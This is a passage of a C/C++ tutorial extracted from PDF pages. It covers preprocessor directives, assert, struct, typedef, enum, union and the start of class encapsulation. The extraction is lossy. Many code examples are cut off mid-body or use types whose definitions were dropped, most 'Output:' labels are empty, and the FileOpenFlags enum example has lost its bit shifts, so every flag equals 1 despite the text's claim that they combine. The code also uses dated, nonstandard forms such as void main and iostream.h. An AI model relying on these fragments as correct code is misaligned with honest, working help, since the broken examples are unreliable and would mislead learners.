ignored without any error or warning message.
- A pragma is a compiler directive that allows you to provide additional information to the compiler.
This information can change compilation details that are not otherwise under your control. For more
information on #error and #pragma, see the documentation of your compiler.
- Keyword pragma is part of the C++ standard, but the form, content, and meaning of pragma is
different for every compiler.
- This means different compilers will have different pragma directives.
- No pragma are defined by the C++ standard. Code that depends on pragma is not portable. It is
normally used during debugging process.
- For example, Borland #pragma message has two forms:
www.tenouk.com Page 8 of 17
- The following program example will display compiler version of the Borland C++ if compiled with
Borland C++ otherwise will display "This compiler is not Borland C++" message and
other predefined macros.
//#pragma directive...
#include <stdio.h>
#include <stdlib.h>
#ifdef __BORLANDC__
#pragma message You are compiling using Borland C++ version __BORLANDC__.
#else
#pragma message ("This compiler is not Borland C++")
#endif
#pragma message time: __TIME__.
#pragma message date: __DATE__.
#pragma message Console: __CONSOLE__.
int main()
{
system("pause");
return 0;
}
//No output
//#pragma directive...
#include <stdio.h>
#include <stdlib.h>
#ifdef __BORLANDC__
#pragma message You are compiling using Borland C++ version __BORLANDC__.
#else
#pragma message ("This compiler is not Borland C++")
#endif
#pragma message ("time:" __TIMESTAMP__)
#pragma message ("date:" __DATE__)
#pragma message ("file:" __FILE__)
int main()
{
system("pause");
return 0;
}
www.tenouk.com Page 9 of 17
- Another program example compiled using VC++ / VC++ .Net
//#pragma directives...
#include <stdio.h>
int main()
{
return 0;
}
- So now, you know how to use the #pragmas. For other #pragmas, please check your compiler
documentations and also the standard of the ISO/IEC C / C++ for any updates.
- The # and ## preprocessor operators are available in ANSI C. The # operator causes a replacement
text token to be converted to a string surrounded by double quotes as explained before.
- Consider the following macro definition:
- The string "John" replaces #x in the replacement text. Strings separated by white space are
concatenated during preprocessing, so the above statement is equivalent to:
printf("Hello, John\n");
www.tenouk.com Page 10 of 17
- Note that the # operator must be used in a macro with arguments because the operand of # refers to an
argument of the macro.
- The ## operator concatenates two tokens. Consider the following macro definition,
#define CAT(p, q) p ## q
- When CAT appears in the program, its arguments are concatenated and used to replace the macro. For
example, CAT(O,K) is replaced by OK in the program. The ## operator must have two operands.
- A program example:
#include <stdio.h>
#include <stdlib.h>
#define HELLO(x) printf("Hello, " #x "\n");
#define SHOWFUNC(x) Use ## Func ## x
int main(void)
{
//new concatenated identifier, UseFuncOne
char * SHOWFUNC(One);
//new concatenated identifier, UseFuncTwo
char * SHOWFUNC(Two);
HELLO(Birch);
printf("SHOWFUNC(One) -> %s \n",SHOWFUNC(One));
printf("SHOWFUNC(One) -> %s \n",SHOWFUNC(Two));
system("pause");
return 0;
}
Output:
- The #line preprocessor directive causes the subsequent source code lines to be renumbered starting
with the specified constant integer value. The directive:
#line 100
- Starts line numbering from 100 beginning with the next source code line. A file name can be included
in the #line directive. The directive:
- Indicates that lines are numbered from 100 beginning with the next source code line, and that the name
of the file for purpose of any compiler messages is "file123.cpp".
- The directive is normally used to help make the messages produced by syntax errors and compiler
warnings more meaningful. The line numbers do not appear in the source file.
- There are standard predefined macros as shown in Table 10.1. The identifiers for each of the
predefined macros begin and end with two underscores. These identifiers and the defined identifier
cannot be used in #define or #undef directive.
www.tenouk.com Page 11 of 17
- There are a lot more predefined macros extensions that are non standard, compilers specific, please
check your compiler documentation. The standard macros are available with the same meanings
regardless of the machine or operating system your compiler installed on.
- A program example:
#include <iostream.h>
#include <stdlib.h>
int main(void)
{
cout<<"Let test the free macros, standard and compiler specific..."<<endl;
cout<<"\nPredefined macro __LINE__ : "<<__LINE__<<endl;
cout<<"Predefined macro __FILE__ : "<<__FILE__<<endl;
cout<<"Predefined macro __TIME__ : "<<__TIME__<<endl;
cout<<"Predefined macro __DATE__ : "<<__DATE__<<endl;
cout<<"Some compiler specific __MSDOS__: "<<__MSDOS__<<endl;
cout<<"Some compiler specific __BORLANDC__: "<<__BORLANDC__<<endl;
cout<<"Some compiler specific __BCPLUSPLUS__: "<<__BCPLUSPLUS__<<endl;
system("pause");
return 0;
}
Output:
10.10 Assertions
www.tenouk.com Page 12 of 17
- If q is greater than 100 when the preceding statement is encountered in a program, an error messages
containing the line number and file name is printed, and the program terminates.
- The programmer may then concentrate on this area of the code to find the error. If the symbolic
constant NDEBUG (#define NDEBUG) is defined, that is no debugging, subsequent assertions will be
ignored.
- Thus, when assertions are no longer needed, the line:
#define NDEBUG
- Is inserted in the program file rather than deleting each assertion manually.
- A program example:
#include <stdio.h>
#include <assert.h>
#include <string.h>
void main()
{
//first test array of char, 10 characters...
//should be OK for the 3 test conditions...
char test1[] = "abcdefghij";
//second test pointer to string, 9 characters...
//should be OK for the 3 test conditions...
char *test2 = "123456789";
//third test array char, empty...
//should fail on the 3rd condition, cannot be empty...
char test3[] = "";
Output:
- You can see from the output, project.cpp is __FILE__ and line 34 is __LINE__ predefined
macros defined in assert.h file as shown in the source file at the end of this Module.
- For this program example, let try invoking the Borland® C++ Turbo Debugger. The steps are:
- Click Tool menu → Select Turbo Debugger sub menu → Press Alt + R (Run menu) →
Select Trace Into or press F7 key continuously until program terminate (line by line code
execution) → When small program dialog box appears, press Enter/Return key (OK) → Finally,
press Alt+F5 to see the output window.
www.tenouk.com Page 13 of 17
Figure 10.1: Borland Turbo® Debugger window.
- For debugging using Microsoft Visual C++ or .Net read HERE. For Linux using gdb, read HERE.
- Another program example.
int main()
{
int x, y;
Normal Output:
www.tenouk.com Page 14 of 17
Abnormal program termination output:
- If you use Microsoft Visual Studio® 6.0, the output should be more informative with dialog box
displayed whether you want to abort, retry or ignore :o) as shown below.
- And the output screen tries to tell you something as shown below.
- The following program example compiled using g++. For the gdb debugger, please read Module000.
////////testassert.cpp/////////
//DEBUG will enable assert().
#define DEBUG
#include <iostream>
#include <cassert>
using namespace std;
int main()
{
int x, y;
www.tenouk.com Page 15 of 17
cout<<"NDEBUG is defined. Assert disabled,\n";
#else
cout<<"NDEBUG is not defined. Assert enabled.\n";
#endif
----------------------------------------------------Note--------------------------------------------------
Program Sample
- The following program sample is the assert.h header file. You can see that many preprocessor
directives being used here.
/* assert.h
assert macro
*/
/*
* C/C++ Run Time Library - Version 8.0
*
* Copyright (c) 1987, 1997 by Borland International
* All Rights Reserved.
*
*/
/* $Revision: 8.1 $ */
#if !defined(___DEFS_H)
#include <_defs.h>
#endif
#if !defined(RC_INVOKED)
#if defined(__STDC__)
#pragma warn -nak
#endif
#endif /* !RC_INVOKED */
#if !defined(__FLAT__)
#ifdef __cplusplus
extern "C" {
#endif
www.tenouk.com Page 16 of 17
#ifdef __cplusplus
}
#endif
#undef assert
#ifdef NDEBUG
# define assert(p) ((void)0)
#else
# if defined(_Windows) && !defined(__DPMI16__)
# define _ENDL
# else
# define _ENDL "\n"
# endif
# define assert(p) ((p) ? (void)0 : (void) __assertfail( \
"Assertion failed: %s, file %s, line %d" _ENDL, \
#p, __FILE__, __LINE__ ) )
#endif
/* Obsolete interface: __msg should be "Assertion failed: %s, file %s, line %d"
*/
void _RTLENTRY _EXPFUNC __assertfail(char * __msg, char * __cond,
char * __file, int __line);
#ifdef __cplusplus
}
#endif
#undef assert
#ifdef NDEBUG
#define assert(p) ((void)0)
#else
#define assert(p) ((p) ? (void)0 : _assert(#p, __FILE__, __LINE__))
#endif
#endif /* __FLAT__ */
#if !defined(RC_INVOKED)
#if defined(__STDC__)
#pragma warn .nak
#endif
#endif /* !RC_INVOKED */
------------------------------------------------------o0o-------------------------------------------------------
www.tenouk.com Page 17 of 17
MODULE 11
TYPE SPECIFIERS
struct, typedef, enum, union
Note: From this Module you can jump to the Object Oriented idea and C++ or proceed to extra C Modules or
Microsoft C: implementation specific to experience how C is used in the real implementation.
Abilities
11.1 Structure
- We have learned that by using an array, we only can declare one data type per array, and it is same for
other data types. To use the same data type with different name, we need another declaration.
- struct data type overcomes this problem by declaring aggregate data types.
- A structure is a collection of related data items stored in one place and can be referenced by more
than one names. Usually these data items are different basic data types. Therefore, the number of
bytes required to store them may also vary.
- It is very useful construct used in data structure, although in C++, many struct constructs has been
replaced by class construct but you will find it quite a common in the Win32 programming.
- In order to use a structure, we must first declare a structure template. The variables in a structure are
called structure elements or members.
- For example, to store and process a student’s record with the elements id_num (identification
number), name, gender and age, we can declare the following structure.
struct student {
char id_num[5];
char name[10];
char gender;
int age;
};
- Here, struct is a keyword that tells the compiler that a structure template is being declared and
student is a tag that identifies its data structure. Tag is not a variable; it is a label for the structure’s
template. Note that there is a semicolon after the closing curly brace.
- A structure tags simply a label for the structure’s template but you name the structure tag using the
same rules for naming variables. The template for the structure can be illustrated as follow (note the
different data size):
- Compiler will not reserve memory for a structure until you declare a structure variable same as you
would declare normal variables such as int or float.
- Declaring structure variables can be done in any of the following ways (by referring to the previous
example):
1. struct student{
char id_num[5];
char name[10];
char gender;
int age;
} studno_1, studno_2;
2. struct{//no tag
www.tenouk.com Page 1 of 17
char id_num[5];
char name[10];
char gender;
int age;
}studno_1, studno_2;
3. struct student{
char id_num[5];
char name[10];
char gender;
int age;
};
- In the above three cases, two structure variables, studno_1 and studno_2, are declared. Each
structure variable has 4 elements that is 3 character variables and an integer variable.
- In (1) and (2), the structure variables are declared immediately after the closing brace in the structure
declaration whereas in (3) they are declared as student. Also in (2) there is no structure tag, this
means we cannot declare structure variables of this type elsewhere in the program instead we have to
use the structure variables studno_1 and studno_2 directly.
- The most widely used may be no (1) and (3) where we put the declaration of the struct in header
files and use it anywhere in programs as follows:
- Where the studno_1, studno_2 are variables declared as usual but the type here is struct
student instead of integral type such as int, char and float.
- It is also a normal practice to combine the typedef (will be explained later on) with struct,
making the variables declaration even simpler. For example:
- In this example we use typedef with struct. In our program we just declare variable as follows:
TOKEN_SOURCE myToken;
- The TOKEN_SOURCE type is used for a normal variable and the *PTOKEN_SOURCE type is used for a
pointer variable. You will find that these are typical constructs in Win32 programming of Windows.
For more information refers to Module A or Tutorial #2.
- A structure element can be accessed and assigned a value by using the structure variable name, the
dot operator (.) and the element’s name. For example the following statement:
studno_1.name = "jasmine";
- Assigns string "jasmine" to the element name in the structure variable studno_1. The dot
operator simply qualifies that name is an element of the structure variable studno_1. The other
structure elements are referenced in a similar way.
- Unfortunately, we cannot assign string "jasmine" (const char) directly to an array in the structure
(char []). For this reason, we have to use other methods such as receiving the string from user input
or by using pointers.
- Program example.
struct student{
www.tenouk.com Page 2 of 17
char id_num[6];
char name[11];
char gender;
int age;
};
int main(void)
{
struct student studno_1;
printf("\n------------------\n");
printf("ID number: %s\n", studno_1.id_num);
printf("Name : %s\n", studno_1.name);
printf("Gender : %c\n", studno_1.gender);
printf("Age : %d\n", studno_1.age);
printf("------------------\n");
system("pause");
return 0;
}
Output:
- The structure pointer operator (→), consisting of a minus (-) sign and a greater than (>) sign with no
intervening spaces, accesses a structure member via a pointer to the structure.
- By assuming that a pointer SPtr has been declared to point to struct Card, and the address of
structure p has been assigned to SPtr. To print member suit of structure Card with pointer SPtr,
use the statement Sptr→suit as shown in the following example.
struct Card
{
char *face; //pointer to char type
char *suit; //pointer to char type
};
void main()
{
//declare the struct type variables
struct Card p;
struct Card *SPtr;
p.face = "Ace";
p.suit = "Spades";
SPtr = &p;
www.tenouk.com Page 3 of 17
system("pause");
}
Output:
- The expression SPtr->suit is equivalent to (*SPtr).suit which dereferences the pointer and
accesses the member suit using the structure member operator.
- The parentheses are needed here because the structure member operator, the dot (.) has higher
precedence than the pointer dereferencing operator, the asterisk (*).
- Program example:
struct Card
{
char *face;
char *suit;
};
int main()
{
struct Card p;
struct Card *SPtr;
p.face = "Ace";
p.suit = "Spades";
SPtr = &p;
Output:
- Suppose you would like to store the information of 100 students. It would be tedious and
unproductive to create 100 different student array variables and work with them individually. It would
be much easier to create an array of student structures.
- Structures of the same type can be grouped together into an array. We can declare an array of
structures just like we would declare a normal array of variables.
www.tenouk.com Page 4 of 17
- For example, to store and manipulate the information contained in 100 student records, we use the
following statement:
struct student{
char id[5];
char name[80];
char gender; int age;
}stud[100];
struct student{
char id[5];
char name[80];
char gender;
};
struct student stud[100];
- These statements declare 100 variables of type student (a structure). As in arrays, we can use a
subscript to reference a particular student structure or record.
- For example, to print the name of the seventh student, we could write the following statement:
cout<<stud[6].name;
- Example of initializing all the student names to blanks and their ages to 0, we could do this simply by
using for loop as shown below:
struct student
{
char id[6]; //student id number, max. 5 integer number
char name[50]; //student name, max 49 characters
char gender; //student gender Male or Female
int age; //student age
};
void main()
{
//declaring array of 10 element of structure type
//and some of the element also are arrays
struct student stud[10];
int i = 0;
www.tenouk.com Page 5 of 17
cout<<"\n----------Display the data---------\n";
cout<<"You can see that the data storage\n";
cout<<"has been reserved for the structure!\n";
cout<<"------------------------------------\n";
for(i=0; i<2; i++)
{
//Displaying the stored data
cout<<"\nID number student # "<<i<<": "<<stud[i].id;
cout<<"\nFirst name student # "<<i<<": "<<stud[i].name;
cout<<"\nGender student # "<<i<<": "<<stud[i].gender;
cout<<"\nAge student # "<<i<<": "<<stud[i].age<<"\n";
}
system("pause");
}
Output:
- The structure template for the program example can be illustrated as follows:
www.tenouk.com Page 6 of 17
11.4 Structures And Function
- Individual structure elements or even an entire structure can be passed to functions as arguments. For
example, to modify the name of the seventh student, let say the function name is modify(), we could
issue the following function call:
modify(stud[6].name);
- This statement passes the structure element name of the seventh student to the function modify().
Only a copy of name is passed to the function. This means any change made to name in the called
function is local; the value of name in the calling program remains unchanged.
- An entire structure can also be passed to a function. We can do this either by passing the structure
itself as argument or by simply passing the address of the structure.
- For structure element example, to modify the seventh student in the list, we could use any of the
following statements.
modify(stud[6]);
modify(&stud[6]);
- In the first statement, a copy of the structure is passed to the function while in the second only the
address of the structure is passed.
- As only a copy of the structure is passed in the first statement, any changes made to the structure within
the called function do not affect the structure in the calling function.
- However in the second statement any changes made to the structure within the called function will
change the structure values in the calling function since the called function directly accesses the
structure and its elements.
- Let take a look at a program example.
//-------------structure part-------------
struct vegetable
{
char name[30];
float price;
};
www.tenouk.com Page 7 of 17
//--------------main program-------------
int main()
{
//declare 2 structure variables
struct vegetable veg1, veg2;
//function prototype of type struct
struct vegetable addname();
//another function prototype
int list_func(vegetable);
Output:
11.5 typedef
- In contrast to the class, struct, union, and enum declarations, typedef declaration do not introduce
new type but introduces new name or creating synonym (or alias) for existing type.
- The syntax is as follows:
www.tenouk.com Page 8 of 17
typedef type-declaration the_synonym;
int main()
{
}
//function scope...
int MyFunct(int)
{
//same name with typedef, it is OK
int TestType;
}
- When declaring a local-scope identifier by the same name as a typedef, or when declaring a member
of a structure or union in the same scope or in an inner scope, the type specifier must be specified.
For example:
- To reuse the TestType name for an identifier, a structure member, or a union member, the type
must be provided, for example:
- Typedef names share the name space with ordinary identifiers. Therefore, a program can have a typedef
name and a local-scope identifier by the same name.
//typedef specifier
typedef char FlagType;
void main()
{
}
void myproc(int)
{
int FlagType;
}
- The following paragraphs illustrate other typedef declaration examples that you will find used a lot
in Win32 programming:
//Character type.
typedef char CHAR;
- To use typedef to specify fundamental and derived types in the same declaration, you can separate
declarators with comma. For example:
www.tenouk.com Page 9 of 17
- The following example provides the type Funct() for a function returning no value and taking two
int arguments:
Funct test;
- Names for structure types are often defined with typedef to create shorter and simpler type name.
For example, the following statements:
- Defines the new type name Card as a synonym for type struct Card and USHORT as a synonym
for type unsigned short. Programmers usually use typedef to define a structure type so a
structure tag is not required. For example, the following definition:
typedef struct{
char *face;
char *suit;
} Card;
- Creates the structure type Card without the need for a separate typedef statement. Then Card can
now be used to declare variables of type struct Card. For example, the following declaration:
Card deck[50];
- Declares an array of 50 Card structures. typedef simply creates a new type name which may be
used as an alias for an existing type name.
- Often, typedef is used to create synonyms for the basic data types. For example, a program
requiring 4-byte integers may use type int on one system and type long on another.
- Programs designed for portability often uses typedef to create an alias for 4-byte integers such as, let
say Integer. The alias Integer can be changed once in the program to make the program work on
both systems.
- Program example:
void main()
{
mine testvar; //the declaration becomes simpler
testvar.p = 200;
testvar.q = 'T';
testvar.r = 1.234;
printf("%d\n%c\n%.4f\n", testvar.p, testvar.q, testvar.r);
system("pause");
}
Output:
www.tenouk.com Page 10 of 17
- Another program example.
//typedef specifier
#include <stdio.h>
int main()
{
mystruct Test1, *Test2;
Test1.x = 111;
Test1.y = 1.111;
printf("Test1.x = %d\nTest1.y = %f\n", Test1.x, Test1.y);
Output:
- This is another user-defined type consisting of a set of named constants called enumerators.
- Using a keyword enum, it is a set of integer constants represented by identifiers.
- The syntax is shown below:
- And
- These enumeration constants are, in effect, symbolic constants whose values can be set automatically.
The values in an enum start with 0, unless specified otherwise, and are incremented by 1. For
example, the following enumeration:
- Creates a new data type, enum days, in which the identifiers are set automatically to the integers 0 to
6. To number the days 1 to 7, use the following enumeration:
www.tenouk.com Page 11 of 17
- Or we can re arrange the order:
#include <iostream.h>
#include <stdlib.h>
void main()
{
//declaring enum data type
enum days day_count;
Output:
- As said before, by default, the first enumerator has a value of 0, and each successive enumerator is one
larger than the value of the previous one, unless you explicitly specify a value for a particular
enumerator.
- Enumerators needn't have unique values within an enumeration. The name of each enumerator is
treated as a constant and must be unique within the scope where the enum is defined. An enumerator
can be promoted to an integer value.
- Converting an integer to an enumerator requires an explicit cast, and the results are not defined if the
integer value is outside the range of the defined enumeration.
- Enumerated types are valuable when an object can assume a known and reasonably limited set of
values.
- Another program example.
//enum declarations
#include <iostream>
using namespace std;
int main()
{
//try changing the tuesday constant,
www.tenouk.com Page 12 of 17
//recompile and re run this program
enum Days WhatDay = tuesday;
switch (WhatDay)
{
case 0:
cout<<"It's Monday"<<endl;
break;
default:
cout<<"Other day"<<endl;
}
return 0;
}
Output:
- After the enum data type has been declared and defined, in C++ it is legal to use the enum data type
without the keyword enum. From the previous example, the following statement is legal in C++:
- Enumerators are considered defined immediately after their initializers; therefore, they can be used to
initialize succeeding enumerators.
- The following example defines an enumerated type that ensures any two enumerators can be combined
with the OR operator.
- In this example, the preceding enumerator initializes each succeeding enumerator.
//enum definition
#include <iostream>
using namespace std;
enum FileOpenFlags
{
//defined here...
OpenReadOnly = 1,
//using OpenReadOnly as the next initializer
//and so on...
OpenReadWrite = OpenReadOnly,
OpenBinary = OpenReadWrite,
OpenText = OpenBinary,
OpenShareable = OpenText
};
int main()
{
return 0;
}
//No output
- As said and shown in the program example before, enumerated types are integral types, any enumerator
can be converted to another integral type by integral promotion. Consider the following example.
enum Days
{
Tuesday,
Wednesday,
Thursday,
Friday,
Saturday,
Sunday,
Monday
};
www.tenouk.com Page 13 of 17
int i;
Days d = Thursday;
int main()
{
//Converted by integral promotion.
i = d;
cout<<"i = "<<i<<"\n";
return 0;
}
Output:
- However, there is no implicit conversion from any integral type to an enumerated type. Therefore from
the previous example, the following statement is an error:
- The assignment d = 5, where no implicit conversion exists, must use a cast to perform the conversion:
- The preceding example shows conversions of values that coincide with the enumerators. There is no
mechanism that protects you from converting a value that does not coincide with one of the
enumerators. For example:
d = Days(30);
- Some such conversions may work but there is no guarantee the resultant value will be one of the
enumerators.
- The following program example uses enum and typedef.
typedef enum {
FailOpenDisk = 1,
PathNotFound,
FolderCannotBeFound,
FileCannotBeFound,
FailOpenFile,
FileCannotBeRead,
DataCorrupted
} ErrorCode;
int main(void)
{
ErrorCode MyErrorCode;
Output:
www.tenouk.com Page 14 of 17
11.7 union
- A derived data type, whose members share the same storage space. The members of a union can be
of any type and the number of bytes used to store a union must be at least enough to hold the largest
member.
- Unions contain two or more data types. Only one member, and thus one data type, can be referenced
at a time. It is the programmer’s responsibility to ensure that the data in a union is referenced with the
proper data type and this is the weakness of using union compared to struct.
- A union is declared with the union keyword in the same format as a structure. The following is a
union declaration:
union sample
{
int p;
float q;
};
- Indicates that sample is a union type with members’ int p and float q. The union definition
normally precedes the main() in a program so the definition can be used to declare variables in all the
program’s functions.
- Only a value with same type of the first union member can be used to initialize union in declaration
part. For example:
union sample
{
int p;
float q;
};
…
union sample content = {234};
union sample
{
int p;
float q;
};
…
union sample content = {24.67};
- Program example:
#include <iostream.h>
#include <stdlib.h>
union sample
{
int p;
float q;
double r;
};
void main()
{
//union data type
union sample content;
www.tenouk.com Page 15 of 17
content.p = 37;
content.q = 1.2765;
content.q=33.40;
content.r=123.94;
cout<<"\nInteger: "<<content.p<<"\n";
cout<<"Float : "<<content.q<<"\n";
cout<<"Double : "<<content.r<<"\n";
cout<<"See another inactive contents, rubbish!\n";
cout<<"\nBetter use struct data type!!\n";
system("pause");
}
Output:
//typedef specifier
#include <cstdio>
int main()
{
mystruct Test1, *Test2;
Test1.x = 111;
Test1.y = 1.111;
printf("Test1.x = %d\nTest1.y = %f\n", Test1.x, Test1.y);
Output:
www.tenouk.com Page 16 of 17
- Previous example compiled using g++.
///////typestruct.cpp///////////
//typedef specifier
#include <cstdio>
using namespace std;
int main()
{
mystruct Test1, *Test2;
Test1.x = 111;
Test1.y = 1.111;
printf("Test1.x = %d\nTest1.y = %f\n", Test1.x, Test1.y);
Test1.x = 111
Test1.y = 1.111000
Test1->z = This is a string
---------------------------------------------------o0o ---------------------------------------------------
www.tenouk.com Page 17 of 17
MODULE 12
CLASS - ENCAPSULATION I
Notes:
Starting from this Module, you have to be careful for the source codes that span more than one line. When you
copy and paste to the text or compiler editor, make it in one line! This Module is a transition from C to C++ and
topics of C++ such as Functions, Arrays, Pointers and Structure that have been discussed in C (Tutorial #1 and #2)
will not be repeated. They are reusable!
This Module and that follows can be a very good fundamental for Object Oriented programming though it is an old
story :o).
Abilities
12.1 Introduction
- This Module is the beginning of the definition of objects oriented programming of C++. Basically,
encapsulation is the process of forming objects. It is container, which can only be accessed through
certain entry points in controlled manner.
- An encapsulated object is often called an abstract data type (ADT). Without encapsulation, which
involves the use of one or more classes, it is difficult to define the object oriented programming.
- We need encapsulation because we are human, and humans make errors. When we properly
encapsulate some code, we actually build protection for the contained code from accidental corruption
due to the errors that we are all prone to make.
- We also tend to isolate errors to small portions of code to make them easier to find and fix.
Furthermore, programming becomes more efficient, productive and faster program development cycle
by dividing and creating smaller modules or program portions, then combine in a systematic processes.
- You will find a lot of readily available classes in Java, Visual Basic®, Microsoft Foundation Classes
(MFC) of Visual C++ and other visual programming languages.
- In visual programming languages, you have to learn how to use the classes, which file to be included in
your program etc. For non technical programmer, it is much easier to learn programming by using
visual programming languages isn’t it? You decide!
- As the beginning please refer to program start.cpp. This program will be the starting point for our
discussion of encapsulation.
- In this program, a very simple structure is defined in lines 5 through 8 which contain a single int
type variable within the structure.
- Three variables are declared in line 12, each of which contains a single int type variable and each of
the three variables are available for use anywhere within the main() function.
- Each variable can be assigned, incremented, read, modified, or have any number of operations
performed on it and a few of the operations are illustrated in lines 15 through 17. Notice the use of the
dot operator to access the structure element.
www.tenouk.com
Joe_cat.keep_data = 11;
Big_cat.keep_data = 12;
- An isolated normal local variable named garfield is also declared and used in the same section of
code for comparison of the normal variable.
- Study this program example carefully, then compile and run.
1. //Program start.cpp
2. #include <iostream.h>
3. #include <stdlib.h>
4.
5. struct item //struct data type
6. {
7. int keep_data;
8. };
9.
10. void main()
11. {
12. item John_cat, Joe_cat, Big_cat;
13. int garfield; //normal variable
14.
15. John_cat.keep_data = 10; //assigning data
16. Joe_cat.keep_data = 11;
17. Big_cat.keep_data = 12;
18. garfield = 13;
19.
20. //Displaying data
21. cout<<"Data value for John_cat is "<<John_cat.keep_data<<"\n";
22. cout<<"Data value for Joe_cat is "<<Joe_cat.keep_data <<"\n";
23. cout<<"Data value for Big_cat is "<<Big_cat.keep_data<<"\n";
24. cout<<"Data value for garfield is "<<garfield<<"\n";
25. cout<<"Press Enter key to quit\n";
26. system("pause"); //just for screen snapshot
27. }
27 lines:Output:
- Next, please refer to example program class.cpp. This program is identical to the last one except for
a few program portions.
- The first difference is that we have a class instead of a structure beginning in line 7.
class item
- The only difference between a class and a structure is that a class begins with a private section by
default whereas a structure begins with a public section. The keyword class is used to declare a
class as illustrated.
- The class named item is composed of the single variable named keep_data and two functions, one
named set() and the other named get_value().
- A more complete definition of a class is: a group of variables (data), and one or more functions that can
operate on that data.
- In programming language terms, attributes, behaviors or properties of the object used for the
member variables.
www.tenouk.com
7. class item
8. {
9. int keep_data; //private by default, it is public in struct
10. public: //public part
11. void set(int enter_value);
12. int get_value(void);
13. };
14.
15. //--------Class implementation part---------
16.
17. void item::set(int enter_value)
18. {
19. keep_data = enter_value;
20. }
21. int item::get_value(void)
22. {
23. return keep_data;
24. }
25.
26. //-------main program------------
27. void main()
28. {
29. item John_cat, Joe_cat, Big_cat;
30. //three objects instantiated
31. int garfield; //normal variable
32.
33. John_cat.set(10); //assigning data
34. Joe_cat.set(11);
35. Big_cat.set(12);
36. garfield = 13;
37. //John_cat.keep_data = 100;
38. //Joe_cat.keep_data = 110;
39. //This is illegal cause keep_data now, is private by default
40.
41. cout<<"Accessing data using class\n";
42. cout<<"-------------------------\n";
43. cout<<"Data value for John_cat is "<<John_cat.get_value()<<"\n";
44. cout<<"Data value for Joe_cat is "<<Joe_cat.get_value()<<"\n";
45. cout<<"Data value for Big_cat is "<<Big_cat.get_value()<<"\n";
46. cout<<"\nAccessing data normally\n";
47. cout<<"---------------------------\n";
48. cout<<"Data value for garfield is "<<garfield<<"\n";
49.
50. system("pause");
51. }
51 Lines:Output:
- All data at the beginning of a class defaults to private. This means, the data at the beginning of the
class cannot be accessed from outside of the class; it is hidden from any outside access.
- Therefore, the variable named keep_data which is part of the object named John_cat defined in line
37 and 38, is not available for use anywhere in the main() program. That is why we have to
comment out the following codes:
//John_cat.keep_data = 100;
//Joe_cat.keep_data = 110;
- It is as if we have built a wall around the variables to protect them from accidental corruption by
outside programming influences.
www.tenouk.com
- The concept is graphically shown in figure 12.1, item class with its wall built around the data to
protect it.
- You will notice the small peep holes (through the arrow) we have opened up to allow the user to gain
access to the functions set() and get_value(). The peep holes were opened by declaring the
functions in the public section of the class.
- A new keyword public, introduced in line 10 which states that anything following this keyword can
be accessed from outside of this class as shown below:
- Because the two functions are declared following the keyword public, they are both public and
available for use by any calling program that is within the scope of this object.
- This essentially opens two small peepholes in the solid wall of protection that we built around the class
and the private keep_data variable is not available to the calling program.
- Thus, we can only use the variable by calling one of the two functions defined within the public part of
the class. These are called member functions because they are members of the class.
- Since we have two functions, we need to define them by saying what each function will actually do.
This is done in lines 17 through 24 where they are each define in the normal way, except that the class
name is prepended onto the function name and separated from it by a double colon ( :: ), called scope
operator as shown below:
int item::get_value(void)
{
return keep_data;
}
- These two function definitions are called the implementation of the functions. The class name is
required because we can use the same function name in other classes and the compiler will know with
which class to associate each function implementation.
- Notice that, the private data contained within the class is available within the implementation of the
member functions of the class for modification or reading in the normal manner.
- You can do anything with the private data within the function implementations which are a part of that
class; also the private data of other classes is hidden and not available within the member functions of
this class.
- This is the reason we must prepend the class name to the function names of this class when defining
them. Figure 12.2 depicts the data space following the program execution.
- It is legal to declare variables and functions in the private part, and additional variables and
functions in the public part also.
- In most practical situations, variables only declared in the private section and functions only
declared in the public part of a class definition. Occasionally, variables or functions are declared in
the other part. This sometimes leads to a very practical solution to a particular problem, but in general,
the entities are used only in the places mentioned for consistency and good programming style.
www.tenouk.com
- A variable with class scope is available anywhere within the scope of a class, including the
implementation code, and nowhere else. Hence, the variable named keep_data has a class scope.
- The following a list of terminologies that you need to understand their meaning in object oriented
programming.
Term Description
Is a group of data and methods (functions). A class is very much like a structure type
class as used in ANSI-C, it is just a type used to create a variable which can be manipulated
through method in a program.
Is an instance of a class, which is similar to a variable, defined as an instance of a
object type. An object is what you actually use in a program since it contains values and can
be changed.
Is a function contained within the class. You will find the functions used within a
method
class often referred to as methods in programming literature.
Is similar to function call. In object oriented programming, we send messages instead
of calling functions. For the time being, you can think of them as identical. Later you
message
will see that they are in fact slightly different. In programming terms, event or action
of the object normally used to describe a consequence of sending message.
- We have defined that, objects have attributes and by sending message, the object can do something,
that is action or something can be done, so there may be an event.
www.tenouk.com
- Now for program named class.cpp, we can say that we have a class, composed of one variable and
two methods. The methods operate on the variable contained in the class when they receive messages
to do so.
- Lines 11 and 12 of this program are actually the prototypes for the two methods, and are our first
example of a prototype usage within a class as shown below:
- You will notice line 11 which says that the method named set() requires one parameter of type int
and returns nothing, hence the return type is void. The method named get_value() however,
according to line 12 has no input parameters but returns an int type value to the caller.
- After the definition in lines 2 through 24, we finally come to the program where we actually use the
class. In line 29 we instantiate three objects of the class item and name the objects John_cat,
Joe_cat and Big_cat.
- Each object contains a single data point which we can set through the use of the method set() or read
through the use of the method get_value(), but we cannot directly set or read the value of the data
point because it is hidden within the block wall around the class as if it is in a container.
- In line 32, we send a message to the object named John_cat instructing it to set its internal value to
10, and even though this looks like a function call, it is properly called sending a message to a
method. It is shown below:
- Remember that the object named John_cat has a method associated with it called set() that sets its
internal value to the actual parameter included within the message.
- You will notice that the form is very much like the means of accessing the elements of a structure. You
mention the name of the object with a dot connecting it to the name of the method.
- This means, perform operation set, with argument 10 on the instance of the object John_cat.
- In a similar manner, we send a message to each of the other two objects, Joe_cat and Big_cat, to
set their values to those indicated.
- Lines 37 and 39 have been commented out because the operations are illegal. The variable named
keep_data is private by default and therefore not available to the code outside of the object itself.
- Also, the data contained within the object named John_cat is not available within the methods of
Joe_cat or Big_cat because they are different objects.
- The other method defined for each object is used in lines 43 through 45 to illustrate their usage. In
each case, another message is sent to each object and the returned result is output to the standard
output, screen, via the stream library cout
- There is another variable named garfield declared and used throughout this example program that
illustrates, a normal variable can be intermixed with the objects and used in the normal manner.
- Compile and run this program. Try removing the comments from lines 37 and 38, and then see what
kind of error messages your compiler issues.
- Examine the program named robject.cpp carefully, a program with a few serious problems that will
be overcome in the next program example by using the principles of encapsulation.
1. //Program robject.cpp
2. #include <iostream.h>
3. #include <stdlib.h>
4.
www.tenouk.com
5. //--------function prototype------------
6. int area(int rectangle_height, int rectangle_width);
7.
8. struct rectangle
9. {
10. int height; //public
11. int width; //public
12. };
13.
